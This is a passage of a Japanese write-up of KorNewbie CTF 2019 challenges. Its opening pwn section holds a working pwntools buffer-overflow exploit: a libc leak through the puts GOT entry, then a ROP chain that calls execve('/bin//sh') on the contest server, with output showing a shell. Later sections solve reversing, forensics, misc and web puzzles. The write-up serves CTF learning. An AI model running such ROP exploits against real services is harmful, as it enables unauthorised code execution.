in ?? () gdb-peda$ LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y Undefined command: "LA". Try "help". gdb-peda$ patto 0x41413741 1094793025 found at offset: 104 gdb-peda$
104文字目でオーバーフローすることが分かりました。
次に、libcのベースアドレスを求めます。 一度バッファオーバーフローを起こし、puts関数を利用して、putsのGOTのアドレスを表示させるようにします。 リークさせたアドレスから、libcにあるputs関数のオフセットを引けば、libcのベースアドレスを求めることができます。 また、リーク後に再度main関数を呼び出すことで、再度入力が可能な状態にすることができます。 以下のようなスクリプトを作成して、libcのベースアドレスを求めるようにしました。
from pwn import * ARCH = "i386" FILE = "./drop_the_beat_easy" LIBC = "./libc.so.6" HOST = "prob.vulnerable.kr" PORT = 20002 def exploit(con, elf, libc, rop): puts_got = elf.got[b"puts"] rop.call("puts", [puts_got]) rop.call("main") log.info(rop.dump()) offset = 104 payload = b"A" * offset payload += rop.chain() log.info("payload: {}".format(payload)) con.sendlineafter("2) No Beat For You..!", b"1") con.sendlineafter("Give Me a Beat!!", payload) con.readuntil("Wow... That's AWESOME!\n") puts_addr = int.from_bytes(con.read(4), "little") log.info("puts_addr: {}".format(hex(puts_addr))) puts_offset = libc.symbols[b"puts"] libc_base = puts_addr - puts_offset log.info("lobc_base: {}".format(hex(libc_base))) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、libcのベースアドレス(0xf755c000
)が取得できます。
$ python exploit2.py REMOTE [+] Opening connection to prob.vulnerable.kr on port 20002: Done [*] '/root/workdir/drop/drop_the_beat_easy' [+] Opening connection to prob.vulnerable.kr on port 20002: Done [*] '/root/workdir/drop/drop_the_beat_easy' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/root/workdir/drop/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './drop_the_beat_easy' [*] 0x0000: 0x80483e0 puts(134520848) 0x0004: 0x80483b9 <adjust: pop ebx; ret> 0x0008: 0x804a010 b'got.puts' 0x000c: 0x804853b main() 0x0010: b'eaaa' <pad> [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa' [*] puts_addr: 0xf75bb140 [*] lobc_base: 0xf755c000 [*] Switching to interactive mode �@EW� dP 888888ba .88888. 888888ba dP dP dP dP dP 888888ba .88888. 888888ba dP dP dP dP 88 88 `8b d8' `8b 88 `8b 88 88 88 88 .d888b88 a88aaaa8P' 88 88 a88aaaa8P' d8888P 88d888b. .d8888b. 88d888b. .d8888b. .d8888b. d8888P 88' `88 88 `8b. 88 88 88 88 88' `88 88ooood8 88' `88 88ooood8 88' `88 88 88. .88 88 88 Y8. .8P 88 88 88 88 88. ... 88. .88 88. ... 88. .88 88 `88888P8 dP dP `8888P' dP dP dP dP `88888P' 88Y8888' `88888P' `88888P8 dP oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo dROP The beat(easy version) 1) Give Him a Beat! 2) No Beat For You..! $
最後に、シェルを起動するためのROPチェインを作成します。
$ ROPgadget --binary ./libc.so.6 --ropchain # 省略 ROP chain generation =========================================================== - Step 1 -- Write-what-where gadgets [+] Gadget found: 0x7c63c mov dword ptr [esi], ebx ; pop ebx ; pop esi ; ret [+] Gadget found: 0x17828 pop esi ; ret [+] Gadget found: 0x18395 pop ebx ; ret [-] Can't find the 'xor ebx, ebx' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x11d0ab mov dword ptr [edx], esi ; pop ebx ; pop esi ; ret [+] Gadget found: 0x1aa6 pop edx ; ret [+] Gadget found: 0x17828 pop esi ; ret [-] Can't find the 'xor esi, esi' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x3ccd8 mov dword ptr [edx], ecx ; ret [+] Gadget found: 0x1aa6 pop edx ; ret [+] Gadget found: 0xb4047 pop ecx ; ret [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x130394 mov dword ptr [edx], ecx ; pop ebx ; ret [+] Gadget found: 0x1aa6 pop edx ; ret [+] Gadget found: 0xb4047 pop ecx ; ret [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x6b34b mov dword ptr [edx], eax ; ret [+] Gadget found: 0x1aa6 pop edx ; ret [+] Gadget found: 0x23f97 pop eax ; ret [+] Gadget found: 0x2c5fc xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x2c5fc xor eax, eax ; ret [+] Gadget found: 0x7eec inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x18395 pop ebx ; ret [+] Gadget found: 0xb4047 pop ecx ; ret [+] Gadget found: 0x1aa6 pop edx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x2c87 int 0x80 - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x00001aa6) # pop edx ; ret p += pack('<I', 0x001b0040) # @ .data p += pack('<I', 0x00023f97) # pop eax ; ret p += '/bin' p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x00001aa6) # pop edx ; ret p += pack('<I', 0x001b0044) # @ .data + 4 p += pack('<I', 0x00023f97) # pop eax ; ret p += '//sh' p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x00001aa6) # pop edx ; ret p += pack('<I', 0x001b0048) # @ .data + 8 p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x00018395) # pop ebx ; ret p += pack('<I', 0x001b0040) # @ .data p += pack('<I', 0x000b4047) # pop ecx ; ret p += pack('<I', 0x001b0048) # @ .data + 8 p += pack('<I', 0x00001aa6) # pop edx ; ret p += pack('<I', 0x001b0048) # @ .data + 8 p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00007eec) # inc eax ; ret p += pack('<I', 0x00002c87) # int 0x80
ROPチェインが作成できました。後は、少し調整してスクリプトに落とし込むだけです。 最終的なスクリプトは、以下のようになります。
from pwn import * ARCH = "i386" FILE = "./drop_the_beat_easy" LIBC = "./libc.so.6" HOST = "prob.vulnerable.kr" PORT = 20002 def leak_libc_base(con, elf, libc, rop): puts_got = elf.got[b"puts"] rop.call("puts", [puts_got]) rop.call("main") log.info(rop.dump()) offset = 104 payload = b"A" * offset payload += rop.chain() log.info("payload: {}".format(payload)) con.sendlineafter("2) No Beat For You..!", b"1") con.sendlineafter("Give Me a Beat!!", payload) con.readuntil("Wow... That's AWESOME!\n") puts_addr = int.from_bytes(con.read(4), "little") log.info("puts_addr: {}".format(hex(puts_addr))) puts_offset = libc.symbols[b"puts"] libc_base = puts_addr - puts_offset log.info("lobc_base: {}".format(hex(libc_base))) return libc_base def exploit(con, elf, libc, rop): libc_base = leak_libc_base(con, elf, libc, rop) offset = 104 payload = b"A" * offset payload += pack(libc_base + 0x00001aa6) # pop edx ; ret payload += pack(libc_base + 0x001b0040) # @ .data payload += pack(libc_base + 0x00023f97) # pop eax ; ret payload += b'/bin' payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret payload += pack(libc_base + 0x00001aa6) # pop edx ; ret payload += pack(libc_base + 0x001b0044) # @ .data + 4 payload += pack(libc_base + 0x00023f97) # pop eax ; ret payload += b'//sh' payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret payload += pack(libc_base + 0x00001aa6) # pop edx ; ret payload += pack(libc_base + 0x001b0048) # @ .data + 8 payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret payload += pack(libc_base + 0x00018395) # pop ebx ; ret payload += pack(libc_base + 0x001b0040) # @ .data payload += pack(libc_base + 0x000b4047) # pop ecx ; ret payload += pack(libc_base + 0x001b0048) # @ .data + 8 payload += pack(libc_base + 0x00001aa6) # pop edx ; ret payload += pack(libc_base + 0x001b0048) # @ .data + 8 payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00007eec) # inc eax ; ret payload += pack(libc_base + 0x00002c87) # int 0x80 con.sendlineafter("2) No Beat For You..!", b"1") con.sendlineafter("Give Me a Beat!!", payload) con.readuntil("Wow... That's AWESOME!\n") def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行するとシェルが取れ、フラグを表示させることができました。
$ python exploit.py REMOTE [+] Opening connection to prob.vulnerable.kr on port 20002: Done [*] '/root/workdir/drop/drop_the_beat_easy' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/root/workdir/drop/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for './drop_the_beat_easy' [*] 0x0000: 0x80483e0 puts(134520848) 0x0004: 0x80483b9 <adjust: pop ebx; ret> 0x0008: 0x804a010 b'got.puts' 0x000c: 0x804853b main() 0x0010: b'eaaa' <pad> [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa' [*] puts_addr: 0xf7674140 [*] lobc_base: 0xf7615000 [*] Switching to interactive mode $ id uid=1000(drop_the_beat) gid=1000(drop_the_beat) groups=1000(drop_the_beat) $ cat /home/drop_the_beat/flag KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#} $
FLAG
KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}
BABYREV(Reversing)
問題
암호화 프로그램을 가지고 중요한 기밀을 암호화 하였는데 복호화 프로그램을 만들지 못하겠어! 나를 도와 주겠니?
I encrypted my sensitive secrets with an encryption program, but I can't make a decryption program! Can you help me?
Author: 윤재형
添付ファイル
- babyrev.exe
- enc.txt
解答例
まずは、fileコマンドを実行してみます。 64bitのPEファイルのようです。
$ file babyrev.exe babyrev.exe: PE32+ executable (console) x86-64, for MS Windows
実際に実行してみて動作を確かめてみます。
コマンドライン引数にflag.txt
を指定すると、同じサイズのenc.txt
が出力されました。
PS> .\babyrev.exe ./babyrev (file) PS> echo -n "KorNewbie{TEST_TEST}" > flag.txt PS> (Get-ChildItem .\flag.txt).Length 46 PS> .\babyrev.exe .\flag.txt size =46 enc.txt PS> type .\enc.txt 久゙v孥ェv$v@vPvv$v8vIv・俿Iv<vIv・俿Ivーvkvワv
次にGhidraで開いてみます。 68~73行目辺りの処理をみてみると、1文字ずつエンコードしているように見えます。
1文字ずつエンコードしているので、総当たりでフラグを求められそうです。 以下のようなスクリプトを作成しました。
import subprocess import string def main(): with open("original/enc.txt", "rb") as f: orig_enc_txt = f.readline() size = len(orig_enc_txt) flag = ["A"] * size for i in range(size): for ch in string.printable: flag[i] = ch with open("flag.txt", "w") as f: f.write("".join(flag)) subprocess.run(["babyrev.exe", "flag.txt"], stdout=subprocess.DEVNULL) with open("enc.txt", "rb") as f: enc_txt = f.readline() if orig_enc_txt[i] == enc_txt[i]: print("".join(flag)) break if __name__ == "__main__": main()
実行すると、フラグが1文字ずつ出力されていきます。
PS> python3 .\solve.py kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA koAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA korAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA korNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA korNeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA korNewAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA korNewbAAAAAAAAAAAAAAAAAAAAAAAAAAAAA korNewbiAAAAAAAAAAAAAAAAAAAAAAAAAAAA korNewbieAAAAAAAAAAAAAAAAAAAAAAAAAAA korNewbie{AAAAAAAAAAAAAAAAAAAAAAAAAA korNewbie{bAAAAAAAAAAAAAAAAAAAAAAAAA korNewbie{baAAAAAAAAAAAAAAAAAAAAAAAA korNewbie{ba8AAAAAAAAAAAAAAAAAAAAAAA korNewbie{ba8yAAAAAAAAAAAAAAAAAAAAAA korNewbie{ba8y_AAAAAAAAAAAAAAAAAAAAA korNewbie{ba8y_rAAAAAAAAAAAAAAAAAAAA korNewbie{ba8y_reAAAAAAAAAAAAAAAAAAA korNewbie{ba8y_revAAAAAAAAAAAAAAAAAA korNewbie{ba8y_rev_AAAAAAAAAAAAAAAAA korNewbie{ba8y_rev_iAAAAAAAAAAAAAAAA korNewbie{ba8y_rev_i$AAAAAAAAAAAAAAA korNewbie{ba8y_rev_i$_AAAAAAAAAAAAAA korNewbie{ba8y_rev_i$_vAAAAAAAAAAAAA korNewbie{ba8y_rev_i$_veAAAAAAAAAAAA korNewbie{ba8y_rev_i$_verAAAAAAAAAAA korNewbie{ba8y_rev_i$_veryAAAAAAAAAA korNewbie{ba8y_rev_i$_very_AAAAAAAAA korNewbie{ba8y_rev_i$_very_VAAAAAAAA korNewbie{ba8y_rev_i$_very_VeAAAAAAA korNewbie{ba8y_rev_i$_very_VerAAAAAA korNewbie{ba8y_rev_i$_very_VeryAAAAA korNewbie{ba8y_rev_i$_very_Very_AAAA korNewbie{ba8y_rev_i$_very_Very_eAAA korNewbie{ba8y_rev_i$_very_Very_eZAA korNewbie{ba8y_rev_i$_very_Very_eZ!A korNewbie{ba8y_rev_i$_very_Very_eZ!}
FLAG
korNewbie{ba8y_rev_i$_very_Very_eZ!}
S_@_X(Reversing)
問題
What is sgx?
Author: BabyREV
添付ファイル
- app
- enclave.signed.so
解答例
とりあえず、fileコマンドを実行してみました。64bitのPEファイルのようです。
$ file app enclave.signed.so app: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fb10c93f82a3dc7a84fd2713311466b990a4b60a, for GNU/Linux 3.2.0, not stripped enclave.signed.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec8ed4495507210dac46ccbdee2f5aa57741b4b2, not stripped
Ghidraでも開いてみました。
29~37行目を見てみると、add関数の戻り値を基にSucceed
かfail
を表示する処理が確認できます。
次にenclave.signed.so
にあるadd関数内を見てみます。
この関数でフラグのチェックをしているようです。
if文を丁寧に読んでいくと、フラグを確認することができました。
FLAG
KorNewbie{aMd_i$_bEttEr_thaN_iNtel!}
REC(Forensic)
問題
REC? Kion vi celas?
添付ファイル
- REC.zip
解答例
REC.zip を展開すると、REC.exe
が出てきました。
拡張子がexeなので、とりあえず、fileコマンドを打ってみます。
$ file REC.exe REC.exe: data
次にバイナリエディタで開いてみました。
This program cannot be run in DOS mode
と書かれているので、PEファイルのように見えますが、先頭のMZ
が見当たりません。
適当なPEファイルと見比べながら、PEヘッダを修正していきます。 単純に先頭の2バイトが足りていないだけでした。
修正して、ダブルクリックで実行してみるとエラーメッセージ表示されました(コンソールで実行すると何も表示されませんでした)。
libgcc_s_dw2-1.dllを用意して、実行するとフラグが表示されました。
PS> .\REC.exe KorNewbie{Recover_Signature}
FLAG
KorNewbie{Recover_Signature}
Chat(Forensic)
問題
채팅을 통해 기밀정보가 오갔다. 해당 채팅을 사용한 사용자의 이메일을 찾으시오.
Confidential information came and went through chat. Find the email of the user who used the chat.
Flag: KorNewbie{email_address}
https://drive.google.com/open?id=1Gfz5e-rwDSz14MWPfhGBfKHqfAjPGVXX
https://web.jaeuk.xyz/chat/VM.zip
Author: 신재욱(Y311J)
解答例
今回の問題は、メールアドレスを探し出すことが目標のようです。
まず、問題文のリンクにアクセスすると、VM.zipがダウンロードできます。 VM.zipを展開すると、vmdkファイルが格納されていました。
ディスクイメージなので、Autopsyを使ってメールアドレスを探せそうです。 ただし、Autopsyは、vmdkファイルを読み出せないので、まずはraw形式に変換します。
以下のサイトを参考に変換しました。
以下のコマンドで変換できるようです。
PS> qemu-img.exe convert -f vmdk NewbieCTF2019_KakaoTalk.vmdk -O raw NewbieCTF2019_KakaoTalk.raw
Autopsyで開くと、703件のメールアドレスがヒットしていました。
地道に一つひとつ確認していると、怪しげなメールアドレス(renek@it-simple.net
)を発見しました。
試しにフラグとして入力してみると、正解となりました。
FLAG
KorNewbie{renek@it-simple.net}
Discord(Misc)
問題
Come to our Official Discord!!
https://discord.gg/5hAk2WS
flag is in "RULES" Channel
解答例
Discordにアクセスして、#rules
チャンネルを開くと、フラグが書かれていました。
FLAG
KorNewbie{W31C0m3_t0_0ffiC14l_D1$C05d}
NC_MIC(Misc)
問題
Hello! I am NC mic!
"well..well.. What is the flag?"
Author: 신재욱(Y311J)
Flag type: KorNewbie{flag}
(Since this CTF was originally planned as a war game, the flag of this problem has 'wargame' written on it.)
nc prob.vulnerable.kr 20000
解答例
netcatで接続すると、フラグが表示されました。
$ nc prob.vulnerable.kr 20000 KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}
FLAG
KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}
Catch Me(Misc)
問題
Haha you can't see the string Author : Ez1o
添付ファイル
- Prob.gif
解答例
以下のgif画像が渡されました。黒丸が色々な座標に高速で移動しているように見えます。
ScreenToGifのエディタ機能を使って、gif画像をコマ送りで確認しました。
移動座標は、以下のようになっていました。
行番号 | 列番号 | |
---|---|---|
1 | 11 | 9 |
2 | 4 | 8 |
3 | 11 | 9 |
4 | 9 | 5 |
5 | 10 | 1 |
6 | 5 | 2 |
7 | 11 | 3 |
8 | 4 | 9 |
9 | 10 | 1 |
10 | 9 | 5 |
11 | 5 | 1 |
12 | 12 | 1 |
13 | 5 | 1 |
少しエスパー気味ですが、行番号と列番号をつなげて10進数として読み取ることができ、アスキーコードに変換できそうです (例えば、行番号:11、列番号:9の場合、10進数の119として考え、wに変換できます)。
CyberChefで変換すると、以下のようになりました。
よって、KorNewbie{w0w_e4q1e_3y3}
がフラグとなります。
FLAG
KorNewbie{w0w_e4q1e_3y3}
BiMilCode(Misc)
問題
Good Luck
nc prob.vulnerable.kr 20034
Author : Ez1o
解答例
netcatで接続すると、エンコードされた値が出てきました。 接続のたびに値が変わるようです。 また、3回だけ解答チャンスがあるようです。 間違えてしまった場合は、エンコード結果を表示してくれます。
aaaaaaaa
と AAAAAAAA
を入力してみると、以下のようになりました。
$ nc prob.vulnerable.kr 20034 ================================================== This is BiMilCode I'll give you a chance to type 3 times. Good Luck # if you got it how to solve this problem type 0 . ================================================== You can encode me? : 4c d1 5d 4a 2e 6b a0 3e Input : aaaaaaaa 8a b7 62 75 61 89 85 66 you have 2 chance left. Input : AAAAAAAA 6a 97 42 55 41 69 65 46 you have 1 chance left. Input :
aaaaaaaa
の場合、8a b7 62 75 61 89 85 66
AAAAAAAA
の場合、6a 97 42 55 41 69 65 46
となりました。
それぞれ、同じ値(29 56 1 14 0 28 24 5
)だけずれていることが分かります。
差分も接続のたびに代わってしまうので、一度\x00\x00\x00\x00\x00\x00\x00\x00
を送って、差分を求めれば良さそうです。
以下のようなスクリプトを作成しました。
from pwn import * def main(): con = remote("prob.vulnerable.kr", 20034) con.readuntil("You can encode me? : ") enc = con.readline().decode("utf-8").strip().split(" ") log.info("enc: {}".format(enc)) con.sendlineafter("Input : ", b"\x00" * 8) diff = con.readuntil("\n").decode("utf-8").strip().split(" ") log.info("diff: {}".format(diff)) dec = "" for e, d in zip(enc, diff): dec += chr(int(e, 16) - int(d, 16)) con.sendlineafter("Input : ", b"0") con.sendlineafter("Oh really? come on ! : ", dec) con.interactive() if __name__ == "__main__": main()
実行すると、フラグが出力されました。
$ python solve.py [+] Opening connection to prob.vulnerable.kr on port 20034: Done [*] enc: ['90', '70', '5f', '34', '84', 'ca', '79', '48'] [*] diff: ['1b', '1', 'e', '2', '15', '5a', '5', '2'] [*] Switching to interactive mode You did it! KorNewbie{Nace_I_believed_it} [*] Got EOF while reading in interactive
FLAG
KorNewbie{Nace_I_believed_it}
Elecduino(Misc)
問題
과제로 만들어놓은 아두이노 회로도가 잠시 자리를 비운 사이 누군가 망쳐놓았다! 회로도를 복구하고 결과값을 얻어내라. circuits의 My work 가 문제파일이다.
Problem URL : https://www.tinkercad.com/users/dNMUsC3jcEB-?category=circuits&sort=likes&view_mode=default
결과값에 플래그 포멧은 존재하지 않는다.
While the homework Aduino circuit diagram is gone for a while, Someone ruined it! Restore the circuit diagram and get the result. problem file is My work
There is no flag format in the result
Good Luck !
Author : Ez1o
解答例
問題文のリンクにアクセスすると、Arduino UNO、スプレッドシート、LEDなどが色々つながった回路が表示されました。 Tinkercadと呼ばれる回路シミュレータサービスがあるようです。
色々ボタンをいじっていると、「コード」ボタンからArduinoのソースコードが出てきました。
以下、見つかったコードになります。
void setup() { pinMode(13, OUTPUT); } void prob1(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob2(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob3(){ digitalWrite(4, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(4, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob4(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob5(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob6(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob7(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob8(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob9(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob10(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob11(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob12(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob13(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob14(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob15(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob16(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob17(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob18(){ digitalWrite(12, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(12, LOW); delay(400); // Wait for 1000 millisecond(s) } void prob19(){ digitalWrite(10, HIGH); delay(400); // Wait for 1000 millisecond(s) digitalWrite(10, LOW); delay(400); // Wait for 1000 millisecond(s) } void one(){ prob6(); prob5(); prob2(); prob12(); prob14(); prob18(); prob15(); prob7(); prob3(); } void two(){ prob8(); prob13(); prob15(); prob5(); prob10(); prob16(); prob2(); prob1(); prob3(); } void three(){ prob1(); prob6(); prob5(); prob7(); prob8(); prob12(); prob9(); prob2(); prob3(); } void four(){ prob14(); prob1(); prob9(); prob2(); prob6(); prob17(); prob1(); prob14(); prob3(); } void five(){ prob1(); prob5(); prob2(); prob7(); prob14(); prob17(); prob1(); prob10(); prob3(); } void six(){ prob6(); prob4(); prob2(); prob19(); prob1(); prob18(); prob1(); prob17(); prob3(); } void seven(){ prob8(); prob7(); prob9(); prob2(); prob1(); prob13(); prob2(); prob4(); prob3(); } void eight(){ prob6(); prob1(); prob7(); prob2(); prob16(); prob18(); prob13(); prob2(); } void loop() { one(); two(); three(); four(); five(); six(); seven(); eight(); delay(100000); }
12、10、4番のピンを使い、それぞれをオンオフするような処理になっていました。 回路も見直してみると、必要のないものがたくさんあるようです。
少しシンプルになるように修正しました。
loop関数内のone関数以外をコメントアウトして、シミュレーションを開始してみました。
void loop() { one(); // two(); // three(); // four(); // five(); // six(); // seven(); // eight(); delay(100000); }
実行すると、青赤赤青青青赤赤黄となりました。 他の関数も確かめてみると、以下のようになりました。
- 青赤赤青青青赤赤黄
- 青赤赤赤青青赤青黄
- 青青赤赤青青赤赤黄
- 青青赤赤青赤青青黄
- 青赤赤赤青赤青青黄
- 青青赤赤青青青赤黄
- 青赤赤赤青赤赤青黄
- 青青赤赤青青赤赤
黄色は、最後にしか現れていないので、ターミネータとして扱われているようです。 青を0、赤を1に変換して2進数として考えると、アスキーコードに変換できそうです。
CyberChefで変換してみると、文字列(cr34t1v3
)が現れました。
よって、フラグは、KorNewbie{cr34t1v3}
となります。
FLAG
KorNewbie{cr34t1v3}
Normal_Host(Web)
問題
This is Just a Normal Host! Can you hack?
Author: Y311J(신재욱)
LINK
解答例
問題文のリンクにアクセスすると、以下のページが表示されました。
上記のページに書かれている通り、normalflag.iwinv.net
と入力して、Connect!
をクリックしてみました。
すると、以下のようにエラーが表示されてしまいました。
試しにnormalflag.iwinv.net:80
と入力してみると、チェック機能を回避できたようです。
以下のようにフラグが表示されました。
FLAG
KorNewbie{H0$7_$P1it_A774cK_U$3s_N0RM^liZ47ioN&##$%%!}